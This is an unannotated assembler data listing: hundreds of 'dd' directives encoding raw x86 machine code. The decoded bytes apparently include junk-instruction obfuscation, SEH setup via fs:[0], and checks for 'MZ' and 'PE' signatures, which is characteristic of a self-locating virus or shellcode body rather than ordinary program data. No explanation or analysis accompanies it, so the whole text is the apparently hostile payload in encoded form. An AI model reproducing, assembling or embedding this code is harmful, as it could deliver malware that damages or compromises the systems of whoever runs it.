		dd 1604h, 0C3524200h, 8B2847A9h, 0AC33B19Dh, 91BF6606h
		dd 1DB5FF05h, 2906AFB2h, 0AC268995h, 0D95FF06h,	6A06AC09h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 6C3AC353h, 61BD833Fh, 6AC0Bh, 1B840Fh, 0BD8B0000h
		dd 6AC2445h, 8B525050h,	0BF310FFAh, 2BA11733h, 3489585Ah
		dd 2DBF6624h, 1DB5FF21h, 6A06AFB2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 25D9C352h
		dd 0DB08A46Fh, 0EE97E76h, 44000000h, 0C1DEAF17h, 0A3735BA2h
		dd 0E71FD7EEh, 20BCBB30h, 0EB813389h, 66F0E030h, 213595FFh
		dd 6A06ACh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0D72E1C3h, 0FFA902F1h, 0AFB21DB5h, 0BD2BF506h
		dd 6AC2D9Dh, 14D995FFh,	6A06ACh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 66101C3h, 8BD5397Fh
		dd 0AC2DED9Dh, 860F5706h, 3, 5FFBB70Fh,	1E9BD83h, 0F0206ACh
		dd 5E84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 858B8935h, 6AC05A9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E0C35040h, 0C30358B5h
		dd 0C68Ah, 0CE8B6051h, 0BE8h, 7BE6E00h,	0F62BFC1Eh, 0DE798FDCh
		dd 0C75B6158h, 0AC300185h, 6, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 4108FA86h
		dd 0E9ED431Bh, 0FFFFF3EEh, 1DFBF0Fh, 0AC30BD8Dh, 89C18B06h
		dd 0AC33F595h, 0EE906h,	0D7250000h, 0EE7h, 2 dup(0)
		dd 576E9h, 4C886B00h, 14D03D8Dh, 4F8765D5h, 16CE3E8Eh
		dd 4C8867D7h, 7A09F08Dh, 2A9A5B93h, 75C504C0h, 2C9C5D99h
		dd 8BC203BBh, 73369DAh,	5F78E8E2h, 71AD5ED3h, 4B7E6B1h
		dd 0EF9335D0h, 88B8311Dh, 3564A561h, 141E829Fh,	0E6D439C4h
		dd 0A40ECE06h, 30EC1D2Dh, 69A546F0h, 3AF21FA9h,	7CE8C8FAh
		dd 86DA6938h, 0CBEF926Ah, 50EF42E1h, 0A08E080Eh, 34F01929h
		dd 6DA945F5h, 85CEFBEh,	55EF929Fh, 6233F079h, 50833BD2h
		dd 929EADE3h, 57DEF2EFh, 93538B67h, 0F22695C4h,	3FEF929Eh
		dd 40AA9A13h, 0C1E34484h, 42BB11A5h, 7C0014F5h,	0D5390980h
		dd 7F68D819h, 0DB328747h, 99EF932Ah, 0B531CDB9h, 0BFC0BB44h
		dd 85h,	71AD5E33h, 0F059F3A2h, 0B01AFAB5h, 0F6499FAEh
		dd 0BA96EF92h, 0E44F133h, 0EAEF92F7h, 0AA1A9ECAh, 95CB7841h
		dd 0DAEF92F6h, 0D851D8F6h, 0C0BB705Ch, 154h, 0B15ED800h
		dd 5343F73h, 0FFD10091h, 0A864893Fh, 0F62EDE68h, 20A8F25h
		dd 5C9B304Ch, 19B373ABh, 4E7CBE37h, 0B25F026Eh,	5AEABB7Ah
		dd 7E5C74B0h, 0F1FD0851h, 13F4C44Dh, 0B33F9526h, 0A68CEF92h
		dd 6AEE15DCh, 2E002E44h, 639B4DFDh, 438009A3h, 0CD15BF4Fh
		dd 0FE97CB58h, 65BB08DBh, 0AAEF92A5h, 0D03F0F86h, 0D283D414h
		dd 90508C62h, 0A5D50B3Ah, 361AEF92h, 57628FBFh,	92A5B0E4h
		dd 0FFD1FDEFh, 8CF85A3Fh, 19F622C9h, 8A20F3DDh,	0D64EA2FCh
		dd 0D0139AC9h, 0BC538760h, 58EE2E00h, 0F24F7CB2h, 5971AD43h
		dd 0E635FAB5h, 92ABFF55h, 4E604CEFh, 0EA86A28Eh, 996FC56h
		dd 3A51BA10h, 0A8AE3AB3h, 63A2C0BBh, 2E000000h,	0B777AF5Eh
		dd 0F333EB01h, 3185E1C1h, 3373B99Bh, 45CCA78Ch,	9F5E9675h
		dd 0C404C02Fh, 0A2629A72h, 22BEAA8Eh, 0C0BB7EB6h, 6CDAh
		dd 0AF5E5600h, 4AE0B777h, 0CC65800Fh, 0EA22C4B8h, 27AE802Ah
		dd 3C3FB17h, 0E655042Bh, 0EF92EDB2h, 1CF35AC0h,	8E9903D9h
		dd 51914DBEh, 7E5CD5FBh, 64A04F12h, 0B15EA9A5h,	0C900B575h
		dd 0AFEF9335h, 4A9E2D7Ch, 97EF9335h, 0A56189BBh, 6446CF65h
		dd 4F68EC08h, 943EC0BBh, 0F94AF6E7h, 0EF93ADA3h, 76ECC4E8h
		dd 30BF36C7h, 1, 5DEEBFBCh, 0EF933607h,	0C1F17854h, 8533F32Bh
		dd 0B38AE64h, 53820F72h, 381ABD7Dh, 0B258E84Ch,	3810BA7Ah
		dd 0EE5EF748h, 3B0B820Eh, 89D819D5h, 0FEE8D23h,	0C4F69FE6h
		dd 852FEF27h, 412DE90Ch, 0BCE26298h, 5D6F82Ah, 7BB1E754h
		dd 0D2FEEF92h, 48398A5Bh, 11E52E89h, 0C37049A1h, 0F63EAF8Dh
		dd 59D0FED2h, 16A0604Ch, 5AEA39F5h, 12B878B4h, 0FFE8589Bh
		dd 5CB207C7h, 1AF63EAFh, 16F7AAC6h, 3EAF1FDEh, 0AF94C87Bh
		dd 0F5D9F63Eh, 78A208DBh, 635CC251h, 0E5539118h, 6D08C804h
		dd 0DFEA3CFh, 0EB4110D1h, 556C972Ah, 64A04923h,	0CE4AC34Ah
		dd 0C239EFFCh, 15Ch, 254F8B4Eh,	225C45F6h, 0CDE1E52Fh
		dd 0B80B5A0Dh, 0F63F4A64h, 3C0C85A9h, 91C013CBh, 0CF0FC721h
		dd 4B005465h, 7D4DF63Fh, 3A90508Ch, 0EE5E9D14h,	0F02CDDFDh
		dd 74B49A30h, 2DED29C2h, 0DB7EEA48h, 6A3BFA32h,	72371C0h
		dd 1A9340CFh, 0E89D1793h, 0A1E94339h, 0ABCBE72Ah, 49D956DFh
		dd 55000000h, 25E10FBFh, 23C64FE5h, 0EE5D8EE4h,	6F9335DAh
		dd 3878923h, 0D2FA32DBh, 0C22BD163h, 0F816240Ah, 8CA0B53Ch
		dd 81DBF55Fh, 61E251EDh, 499F2AE8h, 2B6F92C3h, 28EF5F0Bh
		dd 0E229142h, 13EF92C4h, 0B5B4FE3Fh, 0BE000000h, 75DEEBFh
		dd 54EF9336h, 624C8864h, 0A0CA0EEBh, 27E5C073h,	0BB6AE52Fh
		dd 3F53D408h, 1B3519F6h, 559178C8h, 3FA81EDCh, 15F64687h
		dd 73AC19D9h, 9DF63F52h, 823AAC6Ch, 6C6E842h, 5E9E56B0h
		dd 0EC28C6F4h, 0BDA98B2Ch, 56072884h, 3F54AFE5h, 59D0FCF6h
		dd 0A14A0F7Bh, 5C1A465h, 1316BC6Fh, 0AC8C91C1h,	3468DB08h
		dd 79F63FF8h, 0BE0DDC55h, 0EBCD0848h, 9DF34011h, 0E2FCF126h
		dd 7E5247CEh, 0C9E907ADh, 0CDBF91F3h, 0D7308644h, 5A78DF1Fh
		dd 0C7ABE2Eh, 11CD3DDDh, 71C2113Fh, 0F27DF5F9h,	0B5065786h
		dd 3A2145Fh, 5BB180ACh,	0A003A214h, 6F63A28Ch, 0F6254F8Bh
		dd 2046ED45h, 9E5E72E5h, 0C607BF28h, 0A9459576h, 3683436Dh
		dd 0EE2B438Bh, 0E0B5D1F1h, 0BE0ECF07h, 651914Dh, 46B0E457h
		dd 0D1FDFE9Bh, 0B9806858h, 9B46D60Ah, 19371BFEh, 305C7ED9h
		dd 81407C6Dh, 0DC1CD831h, 390h,	72009A00h, 0BB7BB35Eh
		dd 0E020DC0Dh, 0C202BA56h, 9A5A9274h, 0C101BD2Ch, 9C5C9877h
		dd 0CA0AC22Ah, 96568E7Ch, 0D313CB20h, 595451DDh, 4C181h
		dd 0E9830000h, 240C8704h, 4EC815Ch, 89000000h, 89562414h
		dd 4C681E6h, 83000000h,	348704EEh, 0C895C24h, 51BE5624h
		dd 0BA579A75h, 5E4BA486h, 39AFC281h, 0F22908C3h, 39AFEA81h
		dd 685E08C3h, 57A9h, 83242489h,	59042404h, 8B850h, 0C8010000h
		dd 48B1089h, 4C48124h, 8B000000h, 8957240Ch, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C4835Ah, 0FB497FE9h
		dd 0ABF335FFh, 8E9666EDh, 0B8F3D589h, 6B13419h,	0E0FFC503h
		dd 7371084Fh, 115878BEh, 4AF4C576h, 4016805Bh, 5318DE7h
		dd 31072FCh, 1D4D6FC2h,	1F0B84BBh, 27877EF4h, 36CCA035h
		dd 67F04AF2h, 51EEE728h, 6AC1C475h, 7A48CFB7h, 17FC45BBh
		dd 0D7021ABh, 51E14F15h, 4F782B73h, 26A807B5h, 10525169h
		dd 4D9A97Dh, 2741858Dh,	6A06ACh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 2EB2BC3h, 0E944FBEBh
		dd 50156C18h, 0C8F0Fh, 52500000h, 310F5B57h, 6C02BB66h
		dd 489585Ah, 0B59D8B24h, 6A06AC2Dh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 689B1260h
		dd 6CCBF8FFh, 181737BFh, 0ED858956h, 6A06AC28h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 626FD3D4h, 1BFD2161h, 66609B1Fh, 61365BB9h, 37BD858Dh
		dd 6A06B1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0BFFE91C3h, 7768E386h, 8B05C083h,	0AC31ADBDh
		dd 6E85006h, 0B6000000h, 17DDA053h, 0BE6660CEh,	8B66FD42h
		dd 895B61D0h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 5CC060C3h, 0D98B6667h, 81B58B60h
		dd 6006AC1Fh, 860Fh, 61600000h,	6A6161h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 25C35747h, 0F747CEA4h
		dd 731A4D82h, 239D8589h, 896006ACh, 0AC0015B5h,	0DEF28006h
		dd 61BD2B61h, 6A06AC1Eh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 9AC1661Eh, 67C091AEh
		dd 0E8603C5Ah, 0Fh, 7F76BAF4h, 8905CF29h, 828D5252h, 53BF5DFBh
		dd 0C6B5585Bh, 0F995FF61h, 6A06AC0Ah, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 780DC357h
		dd 7D257737h, 8D093DA5h, 6AC0E05h, 8B808D8Dh, 6A06AFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0C5E17CC3h, 8BF3F5A5h, 0AC10B59Dh, 81D1FF06h, 0CE89B6D3h
		dd 61BD834Ah, 106AC01h,	0A3850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 702072C3h, 0AE43861Fh, 8B66FB18h,	159D8BFEh
		dd 8B06AC20h, 0AC0AADBDh, 6A026A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7BA4C353h
		dd 0DAF57279h, 503FB391h, 8B665050h, 895B5FF8h,	0BD012404h
		dd 6AC1F89h, 68E0Fh, 0BD8B0000h, 6AC0055h, 0DA595FFh, 6A06ACh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 9EEFDC3h, 0DE8B843Bh, 0A01BB1BFh, 0D31E936h,	0E80000h
		dd 5D000000h, 37C7ED81h, 816606B1h, 6A465DEFh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 6CF2C350h, 0ED8028B7h, 9D8BC2DDh, 6AC009Dh, 19F99D8Bh
		dd 858D06ACh, 6AF7E3Bh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0A6C35646h, 0E9AF98D0h, 0FDB50151h, 5B06AC30h
		dd 12E990h, 0F32E0000h,	9D3BF05Ah, 3FB9B657h, 0EDFA21Dh
		dd 9563D742h, 0CE99050h, 28000000h, 4F220240h, 93F24E56h
		dd 0E911C5D5h, 0Ah, 0A8DDE311h,	0E8A9AFD8h, 0FF64B9DCh
		dd 35h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1904h, 0C3534300h, 3A56A39Bh, 8D89DFB2h, 6AC0921h, 11840Fh
		dd 0E8510000h, 9, 0D96755DCh, 9743A5E3h, 645F5BF5h, 2589h
		dd 0BD8B0000h, 6AC0A11h, 337585FFh, 6A06ACh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD33B0C3h
		dd 6AC175Dh, 9E9h, 0A9B39A00h, 0A4F7A934h, 0FF6AB6D0h
		dd 11E8h, 9263F00h, 4DC455E3h, 0C232C59Ch, 0E85B8161h
		dd 0BD8BEB8Eh, 6AC2415h, 0A1B5FF5Bh, 6A06AC0Eh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 3732C355h, 25BD8B51h, 8906AC0Eh, 0AC2581BDh,	6995FF06h
		dd 0E906AC20h, 111h, 0B0AEF380h, 0F4D78000h, 11419D29h
		dd 70E606ACh, 0AF5D8FBFh, 8971E409h, 0AC0BCD85h, 0F613C06h
		dd 0EC83h, 0B60FFC00h, 0CDBD8BC8h, 0BA06AC00h, 6, 8BFB03BBh
		dd 60C18B1Ah, 1D08B60h,	0AC316585h, 0BD096106h,	6AC333Dh
		dd 4E8C161h, 8CF557BBh,	0E2F7667Bh, 9D8B60FCh, 6AC1B95h
		dd 2B611AB3h, 0F98D09C8h, 8B06AC32h, 0DFB560D1h, 0C4F28166h
		dd 96E9619Ch, 8B000000h, 0AC1BD19Dh, 4C858B06h,	0F494755h
		dd 685h, 6D9D8B00h, 8306AC01h, 815007C0h, 95BA3F7h, 0C0835B64h
		dd 9E800h, 0B7F60000h, 9A328D82h, 0F1CA8B1h, 388h, 0F9BF0F00h
		dd 0FD03B5Fh, 1E83h, 8E95100h, 5B000000h, 76D22F72h, 5F37DB27h
		dd 1030BB66h, 38E9h, 9D958900h,	8B06AC0Bh, 0FFFFFF8Dh
		dd 9078BBFFh, 0E1834973h, 1E840F01h, 83000000h,	0FFFFFFA5h
		dd 8D29FEFFh, 6AC2045h,	554C9589h, 0BD2B4947h, 6AC252Dh
		dd 0E9h, 0C8B58D00h, 6A06B0B1h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 6818C356h, 0BD8B3B52h
		dd 6AC14A1h, 11E9h, 687C2E00h, 0B045EC6h, 9EB7B242h, 583849E2h
		dd 6A27ECh, 28358D31h, 95FF06ACh, 6AC2145h, 295DBD89h
		dd 0EEB906ACh, 5000000Eh, 4705BF66h, 0FCE1835Fh, 0FCDFB70Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6AC35747h
		dd 0FD84D6D4h, 816D13C0h, 401374D3h, 7F38054h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 4F55D47Fh, 0DE9676C3h, 0BF0F3FAAh, 53D22BF8h, 0B195BF66h
		dd 0AD5F525Bh, 0E8D1C233h, 0E983D003h, 0FF47504h, 68Eh
		dd 8DE38100h, 8B7F111Bh, 0AC28D59Dh, 880D06h, 8B660000h
		dd 0D958BDAh, 6A06AC2Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0D4B4C357h,	81668248h
		dd 293B6FD7h, 0AC32ED95h, 58D8B06h, 5006AC1Eh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0C3816658h, 6A7F78h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8371C3h, 6AC1229h, 6E840F00h, 0E9000000h,	7, 0A8EF8239h
		dd 0F4F943Ah, 68Eh, 0D2CF8100h,	0B809ABEFh, 0
		dd 10E9h, 6A849500h, 0AB1C4CE5h, 5DEA1FE4h, 0D27D8018h
		dd 338D8D6Ch, 6A06AC4Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 5B22C351h, 1E08F1F3h
		dd 718D313Fh, 0FF06AC05h, 75BD8BE1h, 8906AC09h,	0AC2B5DBDh
		dd 0F1BD8306h, 6AC27h, 44A840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A23BBFC3h
		dd 5F91671Dh, 0F5030769h, 27F1BD83h, 0F0106ACh,	43284h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0BB66E038h, 0BD83C638h, 6AC27F1h, 0CE860F03h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 86FCC352h, 496207D2h, 0B6B60AB8h
		dd 1D7ECB81h, 606055FFh, 8399589h, 0B58B06ACh, 6AC29B1h
		dd 0D98C6661h, 29119D8Bh, 0E18006ACh, 0DE804h, 8AD00000h
		dd 0C5615E6Dh, 7144C325h, 29A7FEC9h, 0AC0089B5h, 0C90A5B06h
		dd 0EB840Fh, 95890000h,	6AC34EDh, 8BDF8B66h, 0AC32B985h
		dd 0DB816606h, 8533F351h, 6AC19E9h, 0F860Fh, 0AE90000h
		dd 0E000000h, 1EAAA738h, 6F6E89A9h, 0E9509097h,	7, 16A93595h
		dd 908F4D89h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0B776E2C3h, 297ABF02h, 0AC0DBD85h
		dd 16856806h, 4818A8Bh,	93ED7A24h, 52006A75h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0ED2D6203h
		dd 8AC4BF66h, 9BD95FFh,	6A06ACh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 6A8AE7C3h, 9047214Bh
		dd 1F8F5A8h, 0AC2175BDh, 81665206h, 5BA900F3h, 0B21D8589h
		dd 7E906AFh, 46000000h,	911DBCB1h, 0D6E90BD5h, 89000001h
		dd 0AC082DB5h, 15858B06h, 6A06AFB2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 44E3C356h
		dd 24C61E91h, 0F2C4A86h, 58Ch, 0CB816600h, 0C7C2F8h, 18h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 32C35646h
		dd 8B2B047Eh, 0AFB219B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 28CF16A7h
		dd 8B689648h, 0AC00A985h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 23E42FF4h
		dd 689863Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	39C35646h, 187F1FDFh, 5BD8B32h,	8B06AC29h, 0AC32B985h
		dd 0DA8B6606h, 6A044689h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 9AABC352h, 52509650h
		dd 810F60h, 0BF000000h,	2FDC306Ah, 0E9310F61h, 12h, 0BD027DB0h
		dd 2F3949C5h, 0D585E093h, 9007B027h, 585A6DE8h,	0DF8B6650h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 4D388473h, 0FA5C0548h, 719D8BE6h, 0FF06AC07h
		dd 0AFB215B5h, 0EE08BB06h, 1F6842E7h, 8BF1F19Ch, 240481FBh
		dd 0E2D67E0h, 662BF66h,	0B21D858Dh, 0BF6606AFh,	5CBF6BD1h
		dd 50416E94h, 0EE9h, 84B30700h,	0F38A16F8h, 231D4676h
		dd 8937A8C2h, 8B662404h, 0BD95FFFEh, 6A06AC09h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0BAC1C357h, 0AE88C8B1h, 91BD8B17h, 8B06AC26h, 0AC21019Dh
		dd 6A6106h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 177BCAC3h, 607B0DACh, 85C7F90Ah, 6AC27F1h
		dd 3, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 15h
		dd 21C35747h, 1DBD830Dh, 6AFB2h, 53840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0C9091CC3h, 5890Fh, 81660000h, 0E9EB56F7h, 40h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4FC35545h, 8B036271h
		dd 0AC25519Dh, 0C305006h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0AE9h, 0A0394000h, 0C6DA043h
		dd 0FCD9C67Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	48C35545h, 301CC3BDh, 8A6096B0h, 0F1BD83D9h, 306AC27h
		dd 3C4850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 694915C3h, 0C14D5359h, 9ED9637h
		dd 0AC0791BDh, 1DBD8306h, 6AFB2h, 38C840Fh, 0BF0F0000h
		dd 1DB5FFDAh, 6A06AFB2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0FDD0C352h,	8C0F5D34h
		dd 0Ah,	0FB9B660h, 8Eh,	95FF6100h, 6AC09C5h, 0B211B58Bh
		dd 6A06AFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0D78F1AC3h, 0DE8B6606h, 106C7h, 96FC0001h
		dd 8A5029B3h, 6A96F9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0E762BC3h, 0E380AB7Bh, 1DB5FF88h
		dd 8106AFB2h, 82D872CFh, 5595FF5Ah, 6A06AC1Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 79EC350h, 39FFAF3Eh,	8BF4D255h, 0AC23DD9Dh, 0D98B6606h
		dd 0B211B58Bh, 0B58906AFh, 6AC1139h, 0E5858Bh, 89FC06ACh
		dd 0C486h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 9E7BB38Ch, 3236C5Eh, 66DBB70Fh, 0C521EB81h
		dd 0B85BD03h, 958B06ACh, 6AC2F0Dh, 2F059D8Bh, 0C28306ACh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0C8AFF110h, 418B22A6h, 0DE8B0134h, 0B205089h
		dd 0AC174D9Dh, 1E858D06h, 6A06AFC7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0BD58C353h
		dd 0A58BA6D3h, 8B66987Bh, 0B88689FBh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 6266C357h, 66DC3FF2h, 189638A7h, 0BB66006Ah,	0B5FF6B5Bh
		dd 6AFB21Dh, 2A9DBD8Bh,	95FF06ACh, 6AC0DA5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6FC35343h, 0FEDA4090h
		dd 0AFE35BB2h, 0B589604Ah, 6AC274Dh, 2EC99D8Bh,	666106ACh
		dd 6696FA8Bh, 0E950FE8Bh, 5, 78B83723h,	9E99638h, 36000000h
		dd 0F07919h, 0A8DBAA92h, 6830Fh, 0BD8B0000h, 6AC2DD9h
		dd 0B21DB5FFh, 0FFF906AFh, 0AC090D95h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 8DB5297Eh, 0FC06AC23h, 0B61BD83h, 0F0006ACh,	5184h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 81360C10h, 8B9DCC22h, 0EDBD89FEh, 9606AC19h
		dd 6A9650h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 93B073C3h, 242E0493h
		dd 0B5FF5F57h, 6AFB21Dh, 0BE9h,	0CCD0BA00h, 0DC82B4ABh
		dd 0AAADBh, 213595FFh, 8B6606ACh, 1DB5FFF9h, 0E906AFB2h
		dd 14h,	5CC9EF29h, 94A8F99Eh, 3B98FC25h, 53A66BA5h, 9A70F510h
		dd 14D995FFh, 6A06ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 371E90C3h, 0C15D7D4Dh, 83602DA7h
		dd 0AC01E9BDh, 840F0206h, 4Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0E8C35747h,	23DF6D85h, 14BE6660h
		dd 0B5896033h, 6AC0D75h, 810Fh,	61610000h, 5A9858Bh, 8C0F06ACh
		dd 3, 0C6DEDF80h, 0BF660000h, 85C766CCh, 6AC3001h, 0
		dd 1411BD8Bh, 27E906ACh, 6AFFFFF4h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 54B5C353h
		dd 8BCBBF19h, 118D89C1h, 0BA06AC06h, 0F00E0000h, 0EA81h
		dd 0C283F000h, 79958914h, 8306AC1Ch, 858D14EAh,	6B14599h
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+б%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0C58589C8h, 306AC1Eh, 0B70F3C40h, 95890650h,	6AC0845h
		dd 8950508Bh, 0AC298995h, 0F80506h, 508B0000h, 89D1030Ch
		dd 0AC2DC595h, 8500306h, 12A19589h, 8F6406ACh, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 539BD83h, 0F0006ACh,	2484h, 3985C600h, 4706AC33h, 9AA7D268h
		dd 0DB5FFD4h, 8D06AC21h, 0AF692985h, 6AD0FF06h,	89D0FF00h
		dd 0AC202985h, 0E8D38B06h, 0Ah,	945ACF78h, 698A042Fh, 0C6803744h
		dd 81F95F5Fh, 5AFDC7h, 0FE95200h, 26000000h, 0E979907Eh
		dd 2EE4CC7Bh, 0C681F244h, 0B85A9AD5h, 168Ah, 65EE8166h
		dd 600F8B8Bh, 3870Fh, 8B660000h, 0AE960F9h, 0A4000000h
		dd 0E87E2E3Eh, 9B81A15Bh, 61F88BF1h, 98E98161h,	663D6D33h
		dd 1641C381h, 7475F181h, 66600683h, 0FF756B8h, 0F89h, 9E800h
		dd 0C00F0000h, 102FA0F5h, 5FD85BD1h, 0A7F18161h, 0E959CFDFh
		dd 13h,	0AC94416Bh, 0EC1ABC78h,	0F2FA90E9h, 0A6E544A7h
		dd 515CF0E5h, 850F078Fh, 0
		dd 0EAB2EF81h, 870F73D4h, 4, 0DDA9BB66h, 0EAAEC781h, 606073D4h
		dd 60C68166h, 615B5653h, 2B2CDDB9h, 0F48611Bh, 0FFFF6085h
		dd 0A6BE66FFh, 7D8D8D31h, 6A06B147h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 8B7AC352h
		dd 0CDF413F9h, 8912DD7Dh, 0AC2F0D8Dh, 9B50B06h,	0F06AC13h
		dd 388h, 0D2BF0F00h, 1E0585C7h,	6CD006ACh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89E293C3h, 0AC33B195h, 0F185C706h, 6AC27h, 0F8000000h
		dd 3009B5FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 9F8209C3h, 120C2CC9h, 0EB8A60EFh
		dd 6820Fh, 9D890000h, 6AC329Dh,	0F995FF61h, 0F06AC0Bh
		dd 6AF8BFh, 214595FFh, 0C08B06ACh, 0D5E33FEBh, 7E557D15h
		dd 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 1637410Ch
		dd 31677D9Fh, 0B3156BA2h, 0DFBC2B92h, 9F8B50B8h, 0B7F46D58h
		dd 0E36291A0h, 7E2DCD24h, 819FCA6Dh, 0C7E413E9h, 0A78D8DEBh
		dd 6A06B148h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
